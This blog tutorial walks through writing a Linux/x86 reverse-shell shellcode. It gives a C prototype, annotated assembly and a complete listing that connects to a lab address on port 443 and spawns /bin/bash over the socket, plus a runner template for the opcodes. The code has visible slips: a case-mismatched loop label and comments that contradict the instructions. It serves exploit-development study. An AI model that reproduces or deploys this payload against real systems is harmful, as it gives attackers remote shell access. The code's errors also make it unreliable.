Introduction

If you are reading this blog you probably know what a reverse shell is, but if you don’t, a reverse shell is a connection to a specified IP address and port to an attacker-controlled host, which will have an active listener on that port. After the connection is established, the victim machine will also spawn a shell (e.g. /bin/sh) with stdin, stdout and stderr redirected to the connection socket.

The main advantage of using a reverse shell instead of a bind one, is that the connection is made in the opposite direction (from the victim to the attacker), which may help in case there’s a firewall that blocks incoming connections but allows outgoing ones.

Prototype

Creating a prototype in C

In order to gain a better understanding of the syscalls that needs to be invoked for the reverse shell, we can start by writing a simple program in C.

As outlined above, the operations that the reverse shell needs to perform are the following:

  1. Create a socket
  2. Connect back to a specific IP address and port on the attacker machine
  3. Redirect stdin, stdout and stderror buffers to the socket
  4. Spawn a shell (i.e. /bin/bash)
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>


int main() {

    int sock_fd;
    int status_code;

    // 1. Create TCP socket
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(443);
    addr.sin_addr.s_addr = inet_addr("192.168.56.101");

    sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    if (sock_fd == -1) {
        fprintf(stderr, "[!] Error. Cannot create the socket\n");
        exit(EXIT_FAILURE);
    }

    // 2. Connect to socket on attacker host
    status_code = connect(sock_fd, (struct sockaddr *) &addr, sizeof(addr));
    if (status_code == -1) {
        fprintf(stderr, "[!] Error. Cannot connect to socket on target host\n");
        exit(EXIT_FAILURE);
    }

    // 3. Redirect stdin(0), stdout(1), stderr(2) to socket file descriptor (fd)
    dup2(sock_fd, 0);
    dup2(sock_fd, 1);
    dup2(sock_fd, 2);

    // 4. Exec bash shell
    execve("/bin/bash", NULL, NULL);
}

Compiling and testing the prototype

The C prototype can be compiled using gcc:

$ gcc -w -O2 -o shell_reverse_tcp shell_reverse_tcp.c

To test that the compiled binary is working, we start a listener on the attacker machine, and then run the reverse shell executable to connect to the listener.

Linux/x86 shellcode

Shellcode analysis

This time we won’t be explaining how the socketcall syscall works, as we already described it with more detail in the previous post .

Clean registers

The first thing that needs to be done is clearing the registers. In order to avoid null bytes, we can use the xor instruction and XOR each register with itself.

xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

Create sockaddr_in struct

Using man 7 ip command, we can check out the sockaddr_in and in_addr structs definitions.

struct sockaddr_in {
    sa_family_t    sin_family; /* address family: AF_INET */
    in_port_t      sin_port;   /* port in network byte order */
    struct in_addr sin_addr;   /* internet address */
};

struct in_addr {
    uint32_t       s_addr;     /* address in network byte order */
};

Then we need to create the sockaddr_in struct on the stack. Since the sockaddr_in struct needs to be 16 bytes in total, we first need to push 8 bytes of padding, followed by:

  • the IPv4 address of the remote host (usually the attacker machine) in network byte order
  • the TCP port in network byte order
  • the address family (AF_INET for IPv4)
push eax            ; NULL (4 bytes of padding)
push eax            ; NULL (4 bytes of padding)
push 0x6538a8c0     ; s_addr = 192.168.56.101 (network byte order)
push word 0xbb01    ; port 443 (network byte order)
push word 0x02      ; AF_INET for IPv4 socket (from /usr/include/bits/socket.h)
mov esi, esp        ; store reference to sockaddr_in struct in ESI for later use

Create socket

int socketcall(int call, unsigned long *args);
sock_fd = socket(int socket_family, int socket_type, int protocol);

Once the sockaddr_in struct has been pushed on the stack, we can proceed with creating the socket, using the SYS_SOCKET (code 0x01 in EBX) call via the sys_socketcall system call (code 0x66 in EAX). We can then push all the values needed to create the socket on the stack in reverse order, and move the address of the top of the stack to ECX.

mov al, 0x66        ; sys_socketcall
mov bl, 0x1         ; SYS_SOCKET call
push edx            ; 3rd arg: int protocol = IPPROTO_IP = 0
push 0x01           ; 2nd arg: int type = SOCK_STREAM (from /usr/include/bits/socket_type.h)
push 0x02           ; 1st arg: int domain = AF_INET
mov ecx, esp        ; pointer to args on stack
int 0x80
mov edi, eax        ; store socket file descriptor (int sock_fd) in edi

The syscall returns the socket file descriptor in EAX. We can store a copy of it into EDI so that we can use it later.

Reverse connection

int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Next we can connect back to the IP address and port previously defined with the sockaddr_in struct, via a SYS_CONNECT call.

mov al, 0x66        ; sys_socketcall
mov bl, 0x3         ; SYS_CONNECT call
push 0x10           ; 3rd arg: socklen_t addrlen = 16
push esi            ; 2nd arg: sockaddr struct = pointer to sockaddr_in struct
push edi            ; 1st arg = pointer socket file descriptor (int sock_fd)
mov ecx, esp        ; pointer to args on stack
int 0x80

Redirect buffers

int dup2(int oldfd, int newfd);

Using a loop, we can redirect stdin,stdout and stderr buffers to the connection file descriptor, we previously moved into EDX, via the sys_dup2 system call (code 0x3f in EAX), which expects stdin,stdout, and stderr file descriptors in ECX, and the connection file descriptor (int conn_fd) in EBX.

xor ecx, ecx        ; ecx used as counter and file descriptor number (0,1,2)
mov cl, 0x02
mov ebx, edi        ; 1st arg in EBX = connection file descriptor (int sock_fd)

io_redirect:
mov al, 0x3f        ; sys_dup2 call
int 0x80
dec ecx
jns IO_redirect     ; keep looping while ecx >= 0

Spawn shell

int execve(const char *filename, char *const argv[], char *const envp[]);

Finally, after redirecting the I/O we can push to the stack the arguments for the execve system call (0xb code in EAX), and spawn a shell on the victim machine.

First we need to push the /bin/bash string in reverse, terminated by a random character (A in this case), so that we can use ESP to reference it and replace the A with a null, using AL. This way we don’t introduce any null bytes in the shellcode. With the null terminated string on the stack, we can move a reference to it (top of the stack, ESP) to EBX. Next, we just increment ECX (from -1 to 0), so that both ECX (argv[]) and EDX (envp[]) are null.

push 0x41687361         ; 'Ahsa'
push 0x622f6e69         ; 'b/ni'
push 0x622f2f2f         ; 'b///'

xor eax, eax
mov [esp+11], al        ; replace "A" with null so that the string is null-terminated

mov ebx, esp            ; 1st arg (EBX): pointer to "/bin/bash,0x00" string on stack
inc ecx                 ; 2nd arg (ECX): char *const argv[] = NULL
                        ; 3rd arg (EDX) char *const envp[] = NULL
mov al, 0xb             ; sys_execve call
int 0x80

Final shellcode

Below is the complete shellcode for the reverse shell:

global _start

section .text
_start:

    ; reset registers
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx


    ; create addr struct
    push eax            ; NULL padding
    push eax            ; NULL padding
    push 0x6538a8c0     ; s_addr = 192.168.56.101 (network byte order)
    push word 0xbb01    ; port 443 (network byte order)
    push word 0x02      ; AF_INET for IPv4 socket (from /usr/include/bits/socket.h)
    mov esi, esp        ; store reference to sockaddr_in struct in ESI for later use


    ; 1. create TCP socket
    mov al, 0x66        ; sys_socketcall
    mov bl, 0x1         ; SYS_SOCKET call
    push edx            ; 3rd arg: int protocol = IPPROTO_IP = 0
    push 0x01           ; 2nd arg: int type = SOCK_STREAM (from /usr/include/bits/socket_type.h)
    push 0x02           ; 1st arg: int domain = AF_INET
    mov ecx, esp        ; pointer to args on stack
    int 0x80
    mov edi, eax        ; store socket file descriptor (int sock_fd) in EDI for later


    ; 2. connect to socket on target host
    mov al, 0x66        ; sys_socketcall
    mov bl, 0x3         ; SYS_CONNECT call
    push 0x10           ; 3rd arg: socklen_t addrlen = 16
    push esi            ; 2nd arg: sockaddr struct = pointer to sockaddr_in struct
    push edi            ; 1st arg = pointer socket file descriptor (int sock_fd)
    mov ecx, esp        ; pointer to args on stack
    int 0x80


    ; 3. redirect stdin,stdout,sterr to socket
    xor ecx, ecx        ; ecx used as counter and file descriptor number (0,1,2)
    mov cl, 0x02
    mov ebx, edi        ; 1st arg in EBX = connection file descriptor (int sock_fd)

io_redirect:
    mov al, 0x3f        ; sys_dup2 call
    int 0x80
    dec ecx
    jns IO_redirect     ; keep looping while ecx >= 0


    ; 4. execve("/bin/bash")
    push 0x41687361         ; 'Ahsa'
    push 0x622f6e69         ; 'b/ni'
    push 0x622f2f2f         ; 'b///'
    xor eax, eax
    mov [esp+11], al        ; replace "A" with null so that the string is null-terminated

    mov ebx, esp            ; 1st arg (EBX): pointer to "/bin/bash,0x00" string on stack
    xor ecx, ecx            ; 2nd arg (ECX): char *const argv[] = NULL
                            ; 3rd arg (EDX) char *const envp[] = NULL
    mov al, 0xb             ; sys_execve call
    int 0x80

Compiling and running the shellcode

Now we need to compile and link the assembly code using nasm and ld. Next we can extract the opcodes using objdump (plus some bash fu), and add them to the following shellcode runner template.

#include <stdio.h>

const unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x50\x68\ [...]";

int main() {
    int (*ret)() = (int(*)())code;
    printf("Shellcode length: %d bytes\n", sizeof(code));
    ret();
}

To avoid having to type the commands each time, we can automate the process with a bash script, and run the compiled executable afterwards:

Wrapping Up

That’s it for this post. In the next one we’ll create an egghunter and use that to bypass limitations on the size of the shellcode.

As always, if you want to check out the code used to complete this assignmnet, you can refer to the following repository in my Github.

Thank you for reading!